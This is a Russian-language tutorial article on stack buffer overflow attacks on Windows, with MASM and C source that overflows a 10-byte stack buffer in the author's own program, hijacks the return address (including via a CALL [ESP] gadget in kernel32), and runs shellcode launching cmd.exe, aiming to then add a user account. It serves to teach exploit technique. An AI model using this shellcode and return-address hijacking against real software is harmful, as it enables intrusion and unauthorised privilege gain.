Welcome to The Passion Of Code Laboratory!!!Статьи

Атаки на переполнение.
1. Переполнение стека.

Автор:_follower / TPOC

 

Мне кажется, что количество накопленных, путем чтения, идей в результате перерастает в качественную поделку. Это также как постоянно накапливающаяся гора гладких камней непременно, в свое время, превратится в хороший теплый очаг. И это всегда так. Давайте приобретем еще один красивый, “гладкий камень” в своем дворе для будущего “очага” побед. :)


Прежде всего поставим перед собой цели :
• Организуем переполнение стека собственной программы
• Построим, так называемый, shell код для вызова командного интерпретатора cmd.exe


Рассмотрим, для начала, пример “распространенной” программы:
Прежде чем мы начнем разбирать эту тему мне кажется уместным напомнить себе некоторые пункты основ. Откроем среду VC ++6.0 и наберем простой код.

#include <stdio.h>
#include <string.h>

int main ()
{
  printf("Hello World !!");
  return 0;
}

… откройте теперь Project > Settings > C\C++ > …

Image1

Войдите теперь, а папку Debug\ и найдемте файл с именем (project_name).asm. Так можно получать asm - код своего С - исходника. Рассмотрим типичные куски кода, которые нам необходимо основательно разобрать.

...
_main PROC NEAR ; COMDAT

; 15 : {

push ebp
mov ebp, esp
sub esp, 64 ; 00000040H
push ebx
push esi
push edi
lea edi, DWORD PTR [ebp-64]
mov ecx, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
rep stosd

; 16 : printf("Hello World !!");

push OFFSET FLAT:??_C@_0P@HPMM@Hello?5World?5?$CB?$CB?$AA@ ; `string'
call _printf
add esp, 4

; 17 : return 0;

xor eax, eax

; 18 : }

pop edi
pop esi
pop ebx
add esp, 64 ; 00000040H
cmp ebp, esp
call __chkesp
mov esp, ebp
pop ebp
ret 0
_main ENDP
_TEXT ENDS
END

Из распечатки к рис. 1.3 видны такие участки:

Перед началом выполнения функции _main() выполняется процедура так называемого “ Пролога” это стандартная последовательность входа в подпрограмму и ее можно просто запомнить выучить наизусть.

push ebp ; Сохраним в стеке EBP. Через EBP адресуются локальные переменные
mov ebp, esp ; В EBP передается значение ESP
sub esp, 64 ; Резервируется так называемы “кадр стека” для хранения локальных переменных

 

2)

Перед выходом из процедуры проходит процедура под названием “Эпилог” - это так же стандартная процедура.

mov esp, ebp ; Стереть все из стека восстановить его первоначальное состояние
pop ebp ; Восстановить значение EBP
ret 0 ; Выход в точку вызова

Понятия эпилога и пролога нам необходимо усвоить , так как это стандартные понятия, они встречаются очень часто. Например, если Вы вдруг начнете дизассемблировать программу, Вы обязательно встретитесь с этими “обвертками” функций программы. Более того разобрав их внимательно мы научимся понимать работу стека, без чего нам не продвинуться в освоении выбранной темы.

Давайте рассмотрим работу следующей программы:

.386
.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib

;---------------------------------------------
_strspy PROTO :PTR BYTE

;---------------------------------------------
.data
source db '1111111111111111111111111111111',; 33 - символа
monMsg1 db "Destination = ",0
crlf db 13, 10, 0
;----------------------------------------------
.code
start:

invoke _strspy , offset source
invoke ExitProcess, 0
;----------------------------------------------
_strspy proc uses esi edi, src:PTR BYTE
LOCAL lBuffer[10]:BYTE

mov esi, src
lea edi, lBuffer
cld
wh: lodsb
stosb
test al, al
jne wh
ret

_strspy endp
;----------------------------------------------
end start

При запуске получаем сообщение об ошибке:

Рис. 1.

Image2

Что произойдет, если строка source превысит по размеру 10 байт? Произойдет переполнение стека, которое сопровождается сообщением о критической ошибке.
Обратите внимание на знакомые куски кода, на Пролог и Эпилог, которые законно присутствуют при просмотре кода в отладчике.

Рис. 2.

Image3

Рассмотрим, как ведет себя стек после выполнения кода Пролога и Эпилога.

Рис.3.


Image4

Итак, если в переполняющей ( той, которая из 33 - символов) строке будет содержаться адрес есть возможность передать на него управление программы. Ну ведь можжем ведь мы в эту строку поместить адрес возврата? Давайте приступим к разбору кода, который реализует переполнение.На выходе должны получить окно программы cmd.exe.

Image5

Image6

; _getCmdLine.asm
; Программа реализует переполнение стека
; с последующим выполнением кода вызова cmd.exe
;
; Использование : _getCmdLine.exe < полный путь к файлу cmd(command).exe(com)>
;


.386
.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data
;******************************************************************************************
_shell_code db '1111222233'
_new_EIP dd $ + 10 + 4; адресс в програме строки ниже, посмотрел в дебагере
; строка чисто чтобы организовать переполнение размера
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h

push 5 ; push SW_SHOW
mov EAX, offset clBuffer
push EAX
db 0B8h ; mov EAX, некий адрес
_WinExec DD ? ; тут положим адресс WinExec()
CALL EAX

PUSH 0
db 0B8h ; mov EAX, некий адрес
_ExitProcess DD ? ; тут положим адресс ExitProcess()
CALL EAX


len_ EQU $ - _shell_code
;******************************************************************************************

_Kernel32 DD ?
szKernel32 DB 'kernel32.dll',0
szExitProcess DB 'ExitProcess',0
szWinExec DB 'WinExec',0
clBuffer DB ?
cyrBuffer DB ?
szError1 DB ' Использование : _getCmdLine.exe <путь к файлу cmd(command).exe(com)>',0
lf db 13,10
;----------------------------------------------
.code
start:

invoke LoadLibrary,ADDR szKernel32
mov _Kernel32,EAX

invoke GetProcAddress, EAX,ADDR szExitProcess
mov _ExitProcess,EAX

invoke GetProcAddress, _Kernel32,ADDR szWinExec
mov _WinExec,EAX


invoke GetCL,1,ADDR clBuffer ; возьмем первый аргумент командной строки
.if eax == 1 ; если есть аргумент то ...

call _strcpy
.else ; иначе вывод сообщения о привилах использования
invoke CharToOem, ADDR szError1,ADDR cyrBuffer
invoke StdOut,ADDR cyrBuffer
invoke StdOut,ADDR lf
invoke StdOut,ADDR lf

.endif

;push 0
;call ExitProcess
;----------------------------------------------

_strcpy:

PUSH EBP
MOV EBP,ESP
ADD ESP,0Ah

LEA ESI,_shell_code
LEA EDI,DWORD PTR SS:[EBP-0Ah]
XOR ECX,ECX


MOV CL,len_


CLD
wh:
LODS BYTE PTR DS:[ESI]
STOS BYTE PTR ES:[EDI]
LOOPD wh
mov ESP,EBP
RET


;----------------------------------------------
end start

1)

_shell_code db '1111222233'
_new_EIP dd $+10+4 ; адресс в програме строки ниже, посмотрел в дебагере

Рассматривая текст мы видим что часть кода пишется в области .data. Что это такое возможно спросите Вы? Это как раз и есть та строка, которую мы планируем передать в качестве “вызывающей shell код”. Эту строку, расположенную в таком необычном месте мы можем успешно редактировать, пополнять нужными нам адресами и передавать куда удобно. Вот Вам и первое преимущество MASM-а :)

Рассматривая рис.3. и в нем строку (3) мы видим, что в случае нормальной работы после последней (и законной) 3 в строке _shell_code должен стоять адрес возврата из процедуры _strcpy(). В статьях ([1.2] [1.3]), в этом месте ищут сигнатуру CALL [ESP] , мы сделаем проще ( хотя потом мы и вернемся к этому пути). Укажем адресом возврата, начало нашей же строки в памяти, нашей же программы. Как найти этот адрес?

Далее воспользуемся OllyDebug. Загрузим нашу программу в его среду. В нижнем левом углу мы видим окно сегмента данных нашей программы.

Рис.4.

Image7

Так вот где все наши тройки. Посмотрим адрес строки переполнения, он равен 0x00403000. Определим новую точку выхода из процедуры_strcpy().
 

0x00403000
+
        10 byte
( строка _shell_code        db '1111222233')
+
        4  byte
( сам адрес того куда мы должны попасть)
________________________________________

=         0x0040300E
 

 

2)

Но все-таки вернемся к “первоисточникам ”. В статьях ([1.2] [1.3]) вносится предложение, вместо того чтобы направлять управление на начало строки _shell_code, передать его на комманду CALL [ESP] ( или JMP [ESP]), код которой имеет вид 0xFF 0xD4 ( 0xFF 0xE4 ). Можем ли это сделать мы?

Можем. Для этого откроем программу WinHex 11.5, и далее

Рис.5.


Image8

Рис.6.

Image9

Мы выбираем адресное пространство kernel32.dll и начинаем в нем искать последовательность 0xFF 0xD4 ( 0xFF 0xE4 ). Эта библиотека практически всегда подгружается любой программой в свое адресное пространство. Хотя есть библиотека NTDLL.DLL которая подгружается в контексте любого процесса автоматически, поэтому законней было бы использовать именно NTDLL.DLL, но не будем отвлекаться на вопросы одного щелчка мыши. Начнем наш поиск …

Рис.7.

Image10

Рис.8.

Image11

Рис.9.

Image12

Вообще говоря, этот адрес может смениться и в этом основная проблема этого метода. У меня установлена Win2000 SP4, и он оказался таким. Вы перепроверьте его у себя сами, но вероятно если у Вас та же конфигурация то он совпадет.

Итак адрес CALL [ESP] найден. Изменим, код в программе, это будет не сложно:

...
.data
;***************************************************************
_shell_code db '1111222233'
_new_EIP db 0EAh,22h,0E8h,77h ;0X77E822EA
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
...

Соберите проект и посмотрите на результат…
Благодаря этому, нечаянному, отступлению мы видим, что не во всех случаях стоит сразу ставить на свою машину Soft Ice. Хотя, безусловно, эта программа заслуживает всякой похвалы.

 

3)

push 5 ; push SW_SHOW
mov EAX, offset _szCMD
push EAX
db 0B8h ; mov EAX, некий адрес
_WinExec DD ? ; тут положим адресс WinExec()
CALL EAX

Будем использовать такой подход: сначала поместим в стек все входящие переменные для вызываемой функции, далее в EAX поместим адрес функции и передадим управление на EAX.

mov EAX, адрес функции ; 0x0B8 0xАдрес
CALL EAX

В основной программе мы определим все необходимые адреса и впишем их в наш shell.
В качестве справочной информации напомним:

WinExec(
  LPCSTR lpCmdLine, // указатель командной строки
  UINT uCmdShow // атрибуты выводимого окна
);

Но как проверить правильные ли адреса попадают в строку с адресом _WinExec?
Ну, наверное, полезно просто знать, что там должно быть. Напишем, по ходу разбирательства утилиту получения адреса API по библиотеке и имени.

Пример использования: _GetApiAddr.exe <dll_name.dll> <api_name>

_GetApiAddr.exe kernel32.dll ExitProcess
Адрес загрузки kernel32.dll : 0x79430000
Адрес загрузки ExitProcess() : 0x79440E7D
// _getApiAddr.cpp :
//
#include <windows.h>
#include <wchar.h>
int main(int argc, char* argv[])
{
char MsgBuf[1024];

CharToOem(" покажет адрес API функции, экспортируемой указанной DLL.", MsgBuf);
printf("\n\t%s %s\n",argv[0],MsgBuf);

if(argc < 2)
{
CharToOem("Пример использования:", MsgBuf);
printf("\n\t\t%s %s <dll_name.dll> <api_name>\n\n ",MsgBuf,argv[0]);
return 1;
}

HMODULE hDll=LoadLibrary(argv[1]);
DWORD pFunc=(DWORD) GetProcAddress(hDll,argv[2]);
if (!pFunc)
{
CharToOem("... к сожалению адрес запрашиваемой Вами API-функции не найден.",MsgBuf);
printf("\n\t\t%s\n",MsgBuf);
CharToOem("\t\tПричиной может быть ошибка загрузки запрашиваемой",MsgBuf);
printf("%s %s,",MsgBuf,argv[1]);
CharToOem("либо отсутствие функции",MsgBuf);
printf("\n\t\t%s %s,",MsgBuf,argv[2]);
CharToOem(" в библиотеке",MsgBuf);
printf("%s %s.",MsgBuf,argv[1]);
CharToOem("Уточните входные параметры.",MsgBuf);
printf("\n\t\t%s\n",MsgBuf);


return 1;
}
CharToOem("Адрес загрузки",MsgBuf);

printf("\n\t\t%s\t%s\t:\t\t0x%08lX\n\t\t%s\t%s()\t:\t\t0x%08lX\n\n",MsgBuf,argv[1],hDll,MsgBuf,argv[2],pFunc);
return 0;
}

Зная , что по праву, должно находиться по адресу _WinExec: мы уверенней себя чувствуем.
Выполним:

_getApiAddr.exe kernel32.dll WinExec
Адрес загрузки kernel32.dll : 0x79430000
Адрес загрузки WinExec() : 0x7944403F

Зная какой адрес мы должны получить проверим нашу строку.

Рис.10.

Image13

Ну все в порядке, все совпало. А благодаря этому отступлению мы получили, мало-мало полезную, утилитку  _getApiAddr.exe.

4)

PUSH EBP
MOV EBP,ESP
ADD ESP,0Ah

LEA ESI,_shell_code
LEA EDI,DWORD PTR SS:[EBP-0Ah]
XOR ECX,ECX
MOV CL,len_
CLD
wh:
LODS BYTE PTR DS:[ESI]
STOS BYTE PTR ES:[EDI]
LOOPD wh
mov ESP,EBP
RET

Сохранили адрес ESP чтоб не потерять стек.

Сразу организовывается, так называемый, стековый кадр в 10 байт для строки, которая длиной в 33 байта ;). В этом кроме всего прочего и заключается задача Эпилога. Вы заметили, конечно, несоответствие 10 байт и 33?
Ну и, собственно, начинаем писать в выделенный нами стековый кадр строку по метке _shell_code.
Что хорошо в OllyDebug, так это то, что я могу на строке mov ESP,EBP поставить прерывание просто нажав на ней F2. Однако многие предпочитают вставлять команду - int 3.
Остановившись на команде mov ESP,EBP мы оказались перед выходом из процедуры _strcpy(). Вместо адреса возврата стоит адрес начала программки вызова cmd.exe. Управление передается на область данных, где и выполняется сам вызов.

Рис.11.

Image14

Также я, в процессе выполнения программы, имею возможность подменить команду на лету и посмотреть ее шестнадцатеричный код.

Рис.12.

Image15

А хотите ли чтобы исполнился код попавший в стек прямо в стеке? Мохно и так , изменим нашу строку …

source db '1111222233'
db 1Fh,30h,40h,00h ; 7944E1BB \xC5\xAF\xE2\x77 \x4C\x44\xE1\x77
mov EBP,ESP
db 90h
db 90h
db 90h
db 90h
db 90h
db 90h
db 90h
MOV EAX, ESP
CALL EAX

Вы конечно обратили внимание на выделенную строку, вот она и передаст управление на данные в стеке. Но программа, конечно, не отработает нормально, но в качестве подопытной для OllyDebug - в самый раз.

Итак что мы получили? Видим, что передавая, в качестве входного параметра, строку мы можем спровоцировать выполнение программы. Эдакое “волшебное слово” для уязвимой программы заставит ее послужить нам некую службу. Волшебным словом для нашей несчастной _getCmdLine.exe есть слово из символов строки _shell_code. Вы почувствовали силу. :))

Что с этим делать дальше с этой консолью? Вызовем ее, и …

C:\>net user /add

… добавим себя как пользователя.

Что? Вызов net user не дал ожидаемого результата!? Нас обманули!?
Так подумал и я когда проделал всю эту работу. Но не расстраивайтесь. Мы получим свои права, обязательно. Для этого просто придется кое что узнать еще.

Перечень используемой литературы.
[1.1] Андрей Колищак. Атаки на переполнение буфера (http://www.security.nnov.ru/articles/bo.asp)

[1.2] Андрей Колищак. Атаки на переполнение стека в Windows NT (http://www.security.nnov.ru/articles/ntbo.asp)

[1.3] Переполнение буфера Константин Третьяков (kt_ee@hotmail.com)


Перечень используемого программного обеспечения.
[2.1] OllyDbg 1.09d by Oleh Yuschuk ( http://www.wasm.ru )


[2.2] - WinHex 10.0 SR-7 (http://www.winhex.com/)
 

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)